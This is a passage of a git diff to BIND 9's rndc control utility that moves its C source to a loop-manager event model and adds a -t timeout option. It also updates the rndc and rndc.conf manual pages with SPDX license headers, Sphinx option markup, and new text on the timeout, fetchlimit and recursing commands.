 	isccc_sexpr_free(&request);
 }
@@ -595,20 +524,16 @@ rndc_startconnect(isc_sockaddr_t *addr) {
 		 */
 		fatal("UNIX domain sockets not currently supported");
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
-	atomic_fetch_add_relaxed(&connects, 1);
 	isc_nm_tcpconnect(netmgr, local, addr, rndc_connected, &rndc_ccmsg,
-			  60000, 0);
+			  timeout);
 }
 
 static void
-rndc_start(isc_task_t *task, isc_event_t *event) {
-	isc_event_free(&event);
-
-	UNUSED(task);
+rndc_start(void *arg) {
+	UNUSED(arg);
 
 	currentaddr = 0;
 	rndc_startconnect(&serveraddrs[currentaddr]);
@@ -691,7 +616,8 @@ parse_config(isc_mem_t *mctx, isc_log_t *log, const char *keyname,
 		(void)cfg_map_get(config, "server", &servers);
 		if (servers != NULL) {
 			for (elt = cfg_list_first(servers); elt != NULL;
-			     elt = cfg_list_next(elt)) {
+			     elt = cfg_list_next(elt))
+			{
 				const char *name = NULL;
 				server = cfg_listelt_value(elt);
 				name = cfg_obj_asstring(
@@ -728,7 +654,8 @@ parse_config(isc_mem_t *mctx, isc_log_t *log, const char *keyname,
 	} else {
 		DO("get config key list", cfg_map_get(config, "key", &keys));
 		for (elt = cfg_list_first(keys); elt != NULL;
-		     elt = cfg_list_next(elt)) {
+		     elt = cfg_list_next(elt))
+		{
 			const char *name = NULL;
 
 			key = cfg_listelt_value(elt);
@@ -901,7 +828,7 @@ main(int argc, char **argv) {
 	const char *keyname = NULL;
 	struct in_addr in;
 	struct in6_addr in6;
-	char *p;
+	char *p = NULL;
 	size_t argslen;
 	int ch;
 	int i;
@@ -918,11 +845,6 @@ main(int argc, char **argv) {
 	isc_sockaddr_any(&local4);
 	isc_sockaddr_any6(&local6);
 
-	result = isc_app_start();
-	if (result != ISC_R_SUCCESS) {
-		fatal("isc_app_start() failed: %s", isc_result_totext(result));
-	}
-
 	isc_commandline_errprint = false;
 
 	preparse_args(argc, argv);
@@ -943,11 +865,13 @@ main(int argc, char **argv) {
 			break;
 		case 'b':
 			if (inet_pton(AF_INET, isc_commandline_argument, &in) ==
-			    1) {
+			    1)
+			{
 				isc_sockaddr_fromin(&local4, &in, 0);
 				local4set = true;
 			} else if (inet_pton(AF_INET6, isc_commandline_argument,
-					     &in6) == 1) {
+					     &in6) == 1)
+			{
 				isc_sockaddr_fromin6(&local6, &in6, 0);
 				local6set = true;
 			}
@@ -990,6 +914,15 @@ main(int argc, char **argv) {
 			servername = isc_commandline_argument;
 			break;
 
+		case 't':
+			timeout = strtol(isc_commandline_argument, &p, 10);
+			if (*p != '\0' || timeout < 0 || timeout > 86400) {
+				fatal("invalid timeout '%s'",
+				      isc_commandline_argument);
+			}
+			timeout *= 1000;
+			break;
+
 		case 'V':
 			verbose = true;
 			break;
@@ -1004,7 +937,7 @@ main(int argc, char **argv) {
 					program, isc_commandline_option);
 				usage(1);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			usage(0);
 			break;
@@ -1030,9 +963,11 @@ main(int argc, char **argv) {
 
 	serial = isc_random32();
 
-	isc_mem_create(&rndc_mctx);
-	isc_managers_create(rndc_mctx, 1, 0, 0, &netmgr, &taskmgr, NULL, NULL);
-	DO("create task", isc_task_create(taskmgr, 0, &rndc_task));
+	isc_managers_create(&rndc_mctx, 1, &loopmgr, &netmgr);
+	isc_loopmgr_setup(loopmgr, rndc_start, NULL);
+
+	isc_nm_settimeouts(netmgr, timeout, timeout, timeout, 0);
+
 	isc_log_create(rndc_mctx, &log, &logconfig);
 	isc_log_setcontext(log);
 	isc_log_settag(logconfig, progname);
@@ -1048,8 +983,6 @@ main(int argc, char **argv) {
 
 	parse_config(rndc_mctx, log, keyname, &pctx, &config);
 
-	isccc_result_register();
-
 	isc_buffer_allocate(rndc_mctx, &databuf, 2048);
 
 	/*
@@ -1080,23 +1013,7 @@ main(int argc, char **argv) {
 		get_addresses(servername, (in_port_t)remoteport);
 	}
 
-	DO("post event", isc_app_onrun(rndc_mctx, rndc_task, rndc_start, NULL));
-
-	result = isc_app_run();
-	if (result != ISC_R_SUCCESS) {
-		fatal("isc_app_run() failed: %s", isc_result_totext(result));
-	}
-
-	isc_task_detach(&rndc_task);
-	isc_managers_destroy(&netmgr, &taskmgr, NULL, NULL);
-
-	/*
-	 * Note: when TCP connections are shut down, there will be a final
-	 * call to the isccc callback routine with &rndc_ccmsg as its
-	 * argument. We therefore need to delay invalidating it until
-	 * after the netmgr is closed down.
-	 */
-	isccc_ccmsg_invalidate(&rndc_ccmsg);
+	isc_loopmgr_run(loopmgr);
 
 	isc_log_destroy(&log);
 	isc_log_setcontext(NULL);
@@ -1112,7 +1029,7 @@ main(int argc, char **argv) {
 		isc_mem_stats(rndc_mctx, stderr);
 	}
 
-	isc_mem_destroy(&rndc_mctx);
+	isc_managers_destroy(&rndc_mctx, &loopmgr, &netmgr);
 
 	if (failed) {
 		return (1);
diff --git a/bin/rndc/rndc.conf b/bin/rndc/rndc.conf
index 68003315f9..78ee858515 100644
--- a/bin/rndc/rndc.conf
+++ b/bin/rndc/rndc.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/rndc/rndc.conf.rst b/bin/rndc/rndc.conf.rst
index 9a2bc3fafb..20e6bc97a4 100644
--- a/bin/rndc/rndc.conf.rst
+++ b/bin/rndc/rndc.conf.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: rndc.conf
+.. program:: rndc.conf
 .. _man_rndc.conf:
 
 rndc.conf - rndc configuration file
@@ -34,9 +26,9 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``rndc.conf`` is the configuration file for ``rndc``, the BIND 9 name
+:program:`rndc.conf` is the configuration file for :iscman:`rndc`, the BIND 9 name
 server control utility. This file has a similar structure and syntax to
-``named.conf``. Statements are enclosed in braces and terminated with a
+:iscman:`named.conf`. Statements are enclosed in braces and terminated with a
 semi-colon. Clauses in the statements are also semi-colon terminated.
 The usual comment styles are supported:
 
@@ -46,13 +38,13 @@ C++ style: // to end of line
 
 Unix style: # to end of line
 
-``rndc.conf`` is much simpler than ``named.conf``. The file uses three
+:program:`rndc.conf` is much simpler than :iscman:`named.conf`. The file uses three
 statements: an options statement, a server statement, and a key
 statement.
 
 The ``options`` statement contains five clauses. The ``default-server``
 clause is followed by the name or address of a name server. This host
-is used when no name server is given as an argument to ``rndc``.
+is used when no name server is given as an argument to :iscman:`rndc`.
 The ``default-key`` clause is followed by the name of a key, which is
 identified by a ``key`` statement. If no ``keyid`` is provided on the
 rndc command line, and no ``key`` clause is found in a matching
@@ -77,14 +69,14 @@ IPv4 and IPv6 source address, respectively.
 
 The ``key`` statement begins with an identifying string, the name of the
 key. The statement has two clauses. ``algorithm`` identifies the
-authentication algorithm for ``rndc`` to use; currently only HMAC-MD5
+authentication algorithm for :iscman:`rndc` to use; currently only HMAC-MD5
 (for compatibility), HMAC-SHA1, HMAC-SHA224, HMAC-SHA256 (default),
 HMAC-SHA384, and HMAC-SHA512 are supported. This is followed by a secret
 clause which contains the base-64 encoding of the algorithm's
 authentication key. The base-64 string is enclosed in double quotes.
 
 There are two common ways to generate the base-64 string for the secret.
-The BIND 9 program ``rndc-confgen`` can be used to generate a random
+The BIND 9 program :iscman:`rndc-confgen` can be used to generate a random
 key, or the ``mmencode`` program, also known as ``mimencode``, can be
 used to generate a base-64 string from known input. ``mmencode`` does
 not ship with BIND 9 but is available on many systems. See the Example
@@ -128,7 +120,7 @@ Example
          };
 
 
-In the above example, ``rndc`` by default uses the server at
+In the above example, :iscman:`rndc` by default uses the server at
 localhost (127.0.0.1) and the key called "samplekey". Commands to the
 localhost server use the "samplekey" key, which must also be defined
 in the server's configuration file with the same name and secret. The
@@ -136,16 +128,16 @@ key statement indicates that "samplekey" uses the HMAC-SHA256 algorithm
 and its secret clause contains the base-64 encoding of the HMAC-SHA256
 secret enclosed in double quotes.
 
-If ``rndc -s testserver`` is used, then ``rndc`` connects to the server
+If :option:`rndc -s testserver <rndc -s>` is used, then :iscman:`rndc` connects to the server
 on localhost port 5353 using the key "testkey".
 
-To generate a random secret with ``rndc-confgen``:
+To generate a random secret with :iscman:`rndc-confgen`:
 
-``rndc-confgen``
+:iscman:`rndc-confgen`
 
-A complete ``rndc.conf`` file, including the randomly generated key,
+A complete :program:`rndc.conf` file, including the randomly generated key,
 is written to the standard output. Commented-out ``key`` and
-``controls`` statements for ``named.conf`` are also printed.
+``controls`` statements for :iscman:`named.conf` are also printed.
 
 To generate a base-64 secret with ``mmencode``:
 
@@ -155,12 +147,12 @@ Name Server Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The name server must be configured to accept rndc connections and to
-recognize the key specified in the ``rndc.conf`` file, using the
-controls statement in ``named.conf``. See the sections on the
+recognize the key specified in the :program:`rndc.conf` file, using the
+controls statement in :iscman:`named.conf`. See the sections on the
 ``controls`` statement in the BIND 9 Administrator Reference Manual for
 details.
 
 See Also
 ~~~~~~~~
 
-:manpage:`rndc(8)`, :manpage:`rndc-confgen(8)`, :manpage:`mmencode(1)`, BIND 9 Administrator Reference Manual.
+:iscman:`rndc(8) <rndc>`, :iscman:`rndc-confgen(8) <rndc-confgen>`, :manpage:`mmencode(1)`, BIND 9 Administrator Reference Manual.
diff --git a/bin/rndc/rndc.rst b/bin/rndc/rndc.rst
index 6221073ae8..db43974a4b 100644
--- a/bin/rndc/rndc.rst
+++ b/bin/rndc/rndc.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: rndc
+.. program:: rndc
 .. _man_rndc:
 
 rndc - name server control utility
@@ -29,81 +21,97 @@ rndc - name server control utility
 Synopsis
 ~~~~~~~~
 
-:program:`rndc` [**-b** source-address] [**-c** config-file] [**-k** key-file] [**-s** server] [**-p** port] [**-q**] [**-r**] [**-V**] [**-y** key_id] [[**-4**] | [**-6**]] {command}
+:program:`rndc` [**-b** source-address] [**-c** config-file] [**-k** key-file] [**-s** server] [**-p** port] [**-q**] [**-r**] [**-V**] [**-y** server_key] [[**-4**] | [**-6**]] {command}
 
 Description
 ~~~~~~~~~~~
 
-``rndc`` controls the operation of a name server; it supersedes the
-``ndc`` utility. If ``rndc`` is
+:program:`rndc` controls the operation of a name server. If :program:`rndc` is
 invoked with no command line options or arguments, it prints a short
 summary of the supported commands and the available options and their
 arguments.
 
-``rndc`` communicates with the name server over a TCP connection,
+:program:`rndc` communicates with the name server over a TCP connection,
 sending commands authenticated with digital signatures. In the current
-versions of ``rndc`` and ``named``, the only supported authentication
+versions of :program:`rndc` and :iscman:`named`, the only supported authentication
 algorithms are HMAC-MD5 (for compatibility), HMAC-SHA1, HMAC-SHA224,
 HMAC-SHA256 (default), HMAC-SHA384, and HMAC-SHA512. They use a shared
 secret on each end of the connection, which provides TSIG-style
 authentication for the command request and the name server's response.
-All commands sent over the channel must be signed by a key_id known to
+All commands sent over the channel must be signed by a server_key known to
 the server.
 
-``rndc`` reads a configuration file to determine how to contact the name
+:program:`rndc` reads a configuration file to determine how to contact the name
 server and decide what algorithm and key it should use.
 
 Options
 ~~~~~~~
 
-``-4``
+.. option:: -4
+
    This option indicates use of IPv4 only.
 
-``-6``
+.. option:: -6
+
    This option indicates use of IPv6 only.
 
-``-b source-address``
+.. option:: -b source-address
+
    This option indicates ``source-address`` as the source address for the connection to the
    server. Multiple instances are permitted, to allow setting of both the
    IPv4 and IPv6 source addresses.
 
-``-c config-file``
+.. option:: -c config-file
+
    This option indicates ``config-file`` as the configuration file instead of the default,
-   ``/etc/rndc.conf``.
+   |rndc_conf|.
+
+.. option:: -k key-file
 
-``-k key-file``
    This option indicates ``key-file`` as the key file instead of the default,
-   ``/etc/rndc.key``. The key in ``/etc/rndc.key`` is used to
+   |rndc_key|. The key in |rndc_key| is used to
    authenticate commands sent to the server if the config-file does not
    exist.
 
-``-s server``
+.. option:: -s server
+
    ``server`` is the name or address of the server which matches a server
-   statement in the configuration file for ``rndc``. If no server is
+   statement in the configuration file for :program:`rndc`. If no server is
    supplied on the command line, the host named by the default-server
-   clause in the options statement of the ``rndc`` configuration file
+   clause in the options statement of the :program:`rndc` configuration file
    is used.
 
-``-p port``
+.. option:: -p port
+
    This option instructs BIND 9 to send commands to TCP port ``port`` instead of its default control
    channel port, 953.
 
-``-q``
+.. option:: -q
+
    This option sets quiet mode, where message text returned by the server is not printed
    unless there is an error.
 
-``-r``
-   This option instructs ``rndc`` to print the result code returned by ``named``
+.. option:: -r
+
+   This option instructs :program:`rndc` to print the result code returned by :iscman:`named`
    after executing the requested command (e.g., ISC_R_SUCCESS,
    ISC_R_FAILURE, etc.).
 
-``-V``
+.. option:: -t timeout
+
+   This option sets the idle timeout period for :program:`rndc` to
+   ``timeout`` seconds. The default is 60 seconds, and the maximum settable
+   value is 86400 seconds (1 day). If set to 0, there is no timeout.
+
+.. option:: -V
+
    This option enables verbose logging.
 
-``-y key_id``
-   This option indicates use of the key ``key_id`` from the configuration file. For control message validation to succeed, ``key_id`` must be known
-   by ``named`` with the same algorithm and secret string. If no ``key_id`` is specified,
-   ``rndc`` first looks for a key clause in the server statement of
+.. option:: -y server_key
+
+   This option indicates use of the key ``server_key`` from the configuration file. For control message validation to succeed, ``server_key`` must be known
+   by :iscman:`named` with the same algorithm and secret string. If no ``server_key`` is specified,
+   :program:`rndc` first looks for a key clause in the server statement of
    the server being used, or if no server statement is present for that
    host, then in the default-key clause of the options statement. Note that
    the configuration file contains shared secrets which are used to send
@@ -113,37 +121,39 @@ Options
 Commands
 ~~~~~~~~
 
-A list of commands supported by ``rndc`` can be seen by running ``rndc``
+A list of commands supported by :program:`rndc` can be seen by running :program:`rndc`
 without arguments.
 
 Currently supported commands are:
 
-``addzone`` *zone* [*class* [*view*]] *configuration*
+.. option:: addzone zone [class [view]] configuration
+
    This command adds a zone while the server is running. This command requires the
    ``allow-new-zones`` option to be set to ``yes``. The configuration
    string specified on the command line is the zone configuration text
-   that would ordinarily be placed in ``named.conf``.
+   that would ordinarily be placed in :iscman:`named.conf`.
 
    The configuration is saved in a file called ``viewname.nzf`` (or, if
-   ``named`` is compiled with liblmdb, an LMDB database file called
+   :iscman:`named` is compiled with liblmdb, an LMDB database file called
    ``viewname.nzd``). ``viewname`` is the name of the view, unless the view
    name contains characters that are incompatible with use as a file
    name, in which case a cryptographic hash of the view name is used
-   instead. When ``named`` is restarted, the file is loaded into
+   instead. When :iscman:`named` is restarted, the file is loaded into
    the view configuration so that zones that were added can persist
    after a restart.
 
    This sample ``addzone`` command adds the zone ``example.com`` to
    the default view:
 
-   ``rndc addzone example.com '{ type master; file "example.com.db"; };'``
+   ``rndc addzone example.com '{ type primary; file "example.com.db"; };'``
 
    (Note the brackets around and semi-colon after the zone configuration
    text.)
 
-   See also ``rndc delzone`` and ``rndc modzone``.
+   See also :option:`rndc delzone` and :option:`rndc modzone`.
+
+.. option:: delzone [-clean] zone [class [view]]
 
-``delzone`` [**-clean**] *zone* [*class* [*view*]]
    This command deletes a zone while the server is running.
 
    If the ``-clean`` argument is specified, the zone's master file (and
@@ -154,14 +164,15 @@ Currently supported commands are:
 
    If the zone was originally added via ``rndc addzone``, then it is
    removed permanently. However, if it was originally configured in
-   ``named.conf``, then that original configuration remains in place;
+   :iscman:`named.conf`, then that original configuration remains in place;
    when the server is restarted or reconfigured, the zone is
    recreated. To remove it permanently, it must also be removed from
-   ``named.conf``.
+   :iscman:`named.conf`.
 
-   See also ``rndc addzone`` and ``rndc modzone``.
+   See also :option:`rndc addzone` and :option:`rndc modzone`.
+
+.. option:: dnssec (-status | -rollover -key id [-alg algorithm] [-when time] | -checkds [-key id [-alg algorithm]] [-when time]  published | withdrawn)) zone [class [view]]
 
-``dnssec`` ( **-status** | **-rollover** **-key** id [**-alg** *algorithm*] [**-when** *time*] | **-checkds** [**-key** *id* [**-alg** *algorithm*]] [**-when** *time*] ( *published* | *withdrawn* )) *zone* [*class* [*view*]]
    This command allows you to interact with the "dnssec-policy" of a given
    zone.
 
@@ -171,74 +182,95 @@ Currently supported commands are:
    ``rndc dnssec -rollover`` allows you to schedule key rollover for a
    specific key (overriding the original key lifetime).
 
-   ``rndc dnssec -checkds`` will let ``named`` know that the DS for the given
-   key has been seen published into or withdrawn from the parent.  This is
-   required in order to complete a KSK rollover.  If the ``-key id`` argument
-   is specified, look for the key with the given identifier, otherwise if there
-   is only one key acting as a KSK in the zone, assume the DS of that key (if
-   there are multiple keys with the same tag, use ``-alg algorithm`` to
-   select the correct algorithm).  The time that the DS has been published or
-   withdrawn is set to now, unless otherwise specified with the argument ``-when time``.
-
-``dnstap`` ( **-reopen** | **-roll** [*number*] )
-   This command closes and re-opens DNSTAP output files. ``rndc dnstap -reopen`` allows
-   the output file to be renamed externally, so that ``named`` can
-   truncate and re-open it. ``rndc dnstap -roll`` causes the output file
+   ``rndc dnssec -checkds`` informs :iscman:`named` that the DS for
+   a specified zone's key-signing key has been confirmed to be published
+   in, or withdrawn from, the parent zone. This is required in order to
+   complete a KSK rollover.  The ``-key id`` and ``-alg algorithm`` arguments
+   can be used to specify a particular KSK, if necessary; if there is only
+   one key acting as a KSK for the zone, these arguments can be omitted.
+   The time of publication or withdrawal for the DS is set to the current
+   time by default, but can be overridden to a specific time with the
+   argument ``-when time``, where ``time`` is expressed in YYYYMMDDHHMMSS
+   notation.
+
+.. option:: dnstap (-reopen | -roll [number])
+
+   This command closes and re-opens DNSTAP output files.
+
+   ``rndc dnstap -reopen`` allows
+   the output file to be renamed externally, so that :iscman:`named` can
+   truncate and re-open it.
+
+   ``rndc dnstap -roll`` causes the output file
    to be rolled automatically, similar to log files. The most recent
    output file has ".0" appended to its name; the previous most recent
    output file is moved to ".1", and so on. If ``number`` is specified, then
    the number of backup log files is limited to that number.
 
-``dumpdb`` [**-all** | **-cache** | **-zones** | **-adb** | **-bad** | **-expired** | **-fail**] [*view ...*]
+.. option:: dumpdb [-all | -cache | -zones | -adb | -bad | -expired | -fail] [view ...]
+
    This command dumps the server's caches (default) and/or zones to the dump file for
    the specified views. If no view is specified, all views are dumped.
    (See the ``dump-file`` option in the BIND 9 Administrator Reference
    Manual.)
 
-``flush``
+.. option:: fetchlimit [view]
+
+   This command dumps a list of servers that are currently being
+   rate-limited as a result of ``fetches-per-server`` settings, and
+   a list of domain names that are currently being rate-limited as
+   a result of ``fetches-per-zone`` settings.
+
+.. option:: flush
+
    This command flushes the server's cache.
 
-``flushname`` *name* [*view*]
+.. option:: flushname name [view]
+
    This command flushes the given name from the view's DNS cache and, if applicable,
    from the view's nameserver address database, bad server cache, and
    SERVFAIL cache.
 
-``flushtree`` *name* [*view*]
+.. option:: flushtree name [view]
+
    This command flushes the given name, and all of its subdomains, from the view's
    DNS cache, address database, bad server cache, and SERVFAIL cache.
 
-``freeze`` [*zone* [*class* [*view*]]]
+.. option:: freeze [zone [class [view]]]
+
    This command suspends updates to a dynamic zone. If no zone is specified, then all
    zones are suspended. This allows manual edits to be made to a zone
    normally updated by dynamic update, and causes changes in the
    journal file to be synced into the master file. All dynamic update
    attempts are refused while the zone is frozen.
 
-   See also ``rndc thaw``.
+   See also :option:`rndc thaw`.
+
+.. option:: halt [-p]
 
-``halt`` [**-p**]
    This command stops the server immediately. Recent changes made through dynamic
    update or IXFR are not saved to the master files, but are rolled
    forward from the journal files when the server is restarted. If
-   ``-p`` is specified, ``named``'s process ID is returned. This allows
-   an external process to determine when ``named`` has completed
+   ``-p`` is specified, :iscman:`named`'s process ID is returned. This allows
+   an external process to determine when :iscman:`named` has completed
    halting.
 
-   See also ``rndc stop``.
+   See also :option:`rndc stop`.
+
+.. option:: loadkeys [zone [class [view]]]
 
-``loadkeys`` [*zone* [*class* [*view*]]]
    This command fetches all DNSSEC keys for the given zone from the key directory. If
    they are within their publication period, they are merged into the
-   zone's DNSKEY RRset. Unlike ``rndc sign``, however, the zone is not
+   zone's DNSKEY RRset. Unlike :option:`rndc sign`, however, the zone is not
    immediately re-signed by the new keys, but is allowed to
    incrementally re-sign over time.
 
-   This command requires that the zone be configured with a ``dnssec-policy``, or
-   that the ``auto-dnssec`` zone option be set to ``maintain``, and also requires the
-   zone to be configured to allow dynamic DNS. (See "Dynamic Update Policies" in
-   the Administrator Reference Manual for more details.)
+   This command requires that the zone be configured with a ``dnssec-policy``, and
+   also requires the zone to be configured to allow dynamic DNS. (See "Dynamic
+   Update Policies" in the Administrator Reference Manual for more details.)
+
+.. option:: managed-keys (status | refresh | sync | destroy) [class [view]]
 
-``managed-keys`` (*status* | *refresh* | *sync* | *destroy*) [*class* [*view*]]
    This command inspects and controls the "managed-keys" database which handles
    :rfc:`5011` DNSSEC trust anchor maintenance. If a view is specified, these
    commands are applied to that view; otherwise, they are applied to all
@@ -264,11 +296,11 @@ Currently supported commands are:
 
       Existing keys that are already trusted are not deleted from
       memory; DNSSEC validation can continue after this command is used.
-      However, key maintenance operations cease until ``named`` is
+      However, key maintenance operations cease until :iscman:`named` is
       restarted or reconfigured, and all existing key maintenance states
       are deleted.
 
-      Running ``rndc reconfig`` or restarting ``named`` immediately
+      Running :option:`rndc reconfig` or restarting :iscman:`named` immediately
       after this command causes key maintenance to be reinitialized
       from scratch, just as if the server were being started for the
       first time. This is primarily intended for testing, but it may
@@ -276,47 +308,51 @@ Currently supported commands are:
       keys in the event of a trust anchor rollover, or as a brute-force
       repair for key maintenance problems.
 
-``modzone`` *zone* [*class* [*view*]] *configuration*
+.. option:: modzone zone [class [view]] configuration
+
    This command modifies the configuration of a zone while the server is running. This
    command requires the ``allow-new-zones`` option to be set to ``yes``.
    As with ``addzone``, the configuration string specified on the
    command line is the zone configuration text that would ordinarily be
-   placed in ``named.conf``.
+   placed in :iscman:`named.conf`.
 
-   If the zone was originally added via ``rndc addzone``, the
+   If the zone was originally added via :option:`rndc addzone`, the
    configuration changes are recorded permanently and are still
    in effect after the server is restarted or reconfigured. However, if
-   it was originally configured in ``named.conf``, then that original
+   it was originally configured in :iscman:`named.conf`, then that original
    configuration remains in place; when the server is restarted or
    reconfigured, the zone reverts to its original configuration. To
    make the changes permanent, it must also be modified in
-   ``named.conf``.
+   :iscman:`named.conf`.
+
+   See also :option:`rndc addzone` and :option:`rndc delzone`.
 
-   See also ``rndc addzone`` and ``rndc delzone``.
+.. option:: notify zone [class [view]]
 
-``notify`` *zone* [*class* [*view*]]
    This command resends NOTIFY messages for the zone.
 
-``notrace``
+.. option:: notrace
+
    This command sets the server's debugging level to 0.
 
-   See also ``rndc trace``.
+   See also :option:`rndc trace`.
+
+.. option:: nta [(-class class | -dump | -force | -remove | -lifetime duration)] domain [view]
 
-``nta`` [( **-class** *class* | **-dump** | **-force** | **-remove** | **-lifetime** *duration*)] *domain* [*view*]
    This command sets a DNSSEC negative trust anchor (NTA) for ``domain``, with a
    lifetime of ``duration``. The default lifetime is configured in
-   ``named.conf`` via the ``nta-lifetime`` option, and defaults to one
+   :iscman:`named.conf` via the ``nta-lifetime`` option, and defaults to one
    hour. The lifetime cannot exceed one week.
 
    A negative trust anchor selectively disables DNSSEC validation for
    zones that are known to be failing because of misconfiguration rather
    than an attack. When data to be validated is at or below an active
-   NTA (and above any other configured trust anchors), ``named``
+   NTA (and above any other configured trust anchors), :iscman:`named`
    aborts the DNSSEC validation process and treats the data as insecure
    rather than bogus. This continues until the NTA's lifetime has
    elapsed.
 
-   NTAs persist across restarts of the ``named`` server. The NTAs for a
+   NTAs persist across restarts of the :iscman:`named` server. The NTAs for a
    view are saved in a file called ``name.nta``, where ``name`` is the name
    of the view; if it contains characters that are incompatible with
    use as a file name, a cryptographic hash is generated from the name of
@@ -334,7 +370,7 @@ Currently supported commands are:
    of existing NTAs is printed. Note that this may include NTAs that are
    expired but have not yet been cleaned up.
 
-   Normally, ``named`` periodically tests to see whether data below
+   Normally, :iscman:`named` periodically tests to see whether data below
    an NTA can now be validated (see the ``nta-recheck`` option in the
    Administrator Reference Manual for details). If data can be
    validated, then the NTA is regarded as no longer necessary and is
@@ -353,39 +389,62 @@ Currently supported commands are:
    view name that begins with a hyphen, use a double-hyphen (--) on the
    command line to indicate the end of options.
 
-``querylog`` [(*on* | *off*)]
+.. option:: querylog [(on | off)]
+
    This command enables or disables query logging. For backward compatibility, this
    command can also be used without an argument to toggle query logging
    on and off.
 
    Query logging can also be enabled by explicitly directing the
    ``queries`` ``category`` to a ``channel`` in the ``logging`` section
-   of ``named.conf``, or by specifying ``querylog yes;`` in the
-   ``options`` section of ``named.conf``.
+   of :iscman:`named.conf`, or by specifying ``querylog yes;`` in the
+   ``options`` section of :iscman:`named.conf`.
+
+.. option:: reconfig
 
-``reconfig``
    This command reloads the configuration file and loads new zones, but does not reload
    existing zone files even if they have changed. This is faster than a
-   full ``reload`` when there is a large number of zones, because it
+   full :option:`rndc reload` when there is a large number of zones, because it
    avoids the need to examine the modification times of the zone files.
 
-``recursing``
-   This command dumps the list of queries ``named`` is currently recursing on, and the
-   list of domains to which iterative queries are currently being sent.
-   The second list includes the number of fetches currently active for
-   the given domain, and how many have been passed or dropped because of
-   the ``fetches-per-zone`` option.
+.. option:: recursing
+
+   This command dumps the list of queries :iscman:`named` is currently
+   recursing on, and the list of domains to which iterative queries
+   are currently being sent.
+
+   The first list includes all unique clients that are waiting for
+   recursion to complete, including the query that is awaiting a
+   response and the timestamp (seconds since the Unix epoch) of
+   when named started processing this client query.
+
+   The second list comprises of domains for which there are active
+   (or recently active) fetches in progress.  It reports the number
+   of active fetches for each domain and the number of queries that
+   have been passed (allowed) or dropped (spilled) as a result of
+   the ``fetches-per-zone`` limit.  (Note: these counters are not
+   cumulative over time; whenever the number of active fetches for
+   a domain drops to zero, the counter for that domain is deleted,
+   and the next time a fetch is sent to that domain, it is recreated
+   with the counters set to zero).
+
+.. option:: refresh zone [class [view]]
 
-``refresh`` *zone* [*class* [*view*]]
    This command schedules zone maintenance for the given zone.
 
-``reload``
+.. option:: reload
+
    This command reloads the configuration file and zones.
 
-``reload`` *zone* [*class* [*view*]]
-   This command reloads the given zone.
+   .. program:: rndc reload
+   .. option:: zone [class [view]]
+
+   If a zone is specified, this command reloads only the given zone.
+
+.. program:: rndc
+
+.. option:: retransfer zone [class [view]]
 
-``retransfer`` *zone* [*class* [*view*]]
    This command retransfers the given secondary zone from the primary server.
 
    If the zone is configured to use ``inline-signing``, the signed
@@ -393,12 +452,14 @@ Currently supported commands are:
    unsigned version is complete, the signed version is regenerated
    with new signatures.
 
-``scan``
+.. option:: scan
+
    This command scans the list of available network interfaces for changes, without
-   performing a full ``reconfig`` or waiting for the
+   performing a full :option:`rndc reconfig` or waiting for the
    ``interface-interval`` timer.
 
-``secroots`` [**-**] [*view* ...]
+.. option:: secroots [-] [view ...]
+
    This command dumps the security roots (i.e., trust anchors configured via
    ``trust-anchors``, or the ``managed-keys`` or ``trusted-keys`` statements
    [both deprecated], or ``dnssec-validation auto``) and negative trust anchors
@@ -408,48 +469,48 @@ Currently supported commands are:
    yet been updated by a successful key refresh query).
 
    If the first argument is ``-``, then the output is returned via the
-   ``rndc`` response channel and printed to the standard output.
+   :program:`rndc` response channel and printed to the standard output.
    Otherwise, it is written to the secroots dump file, which defaults to
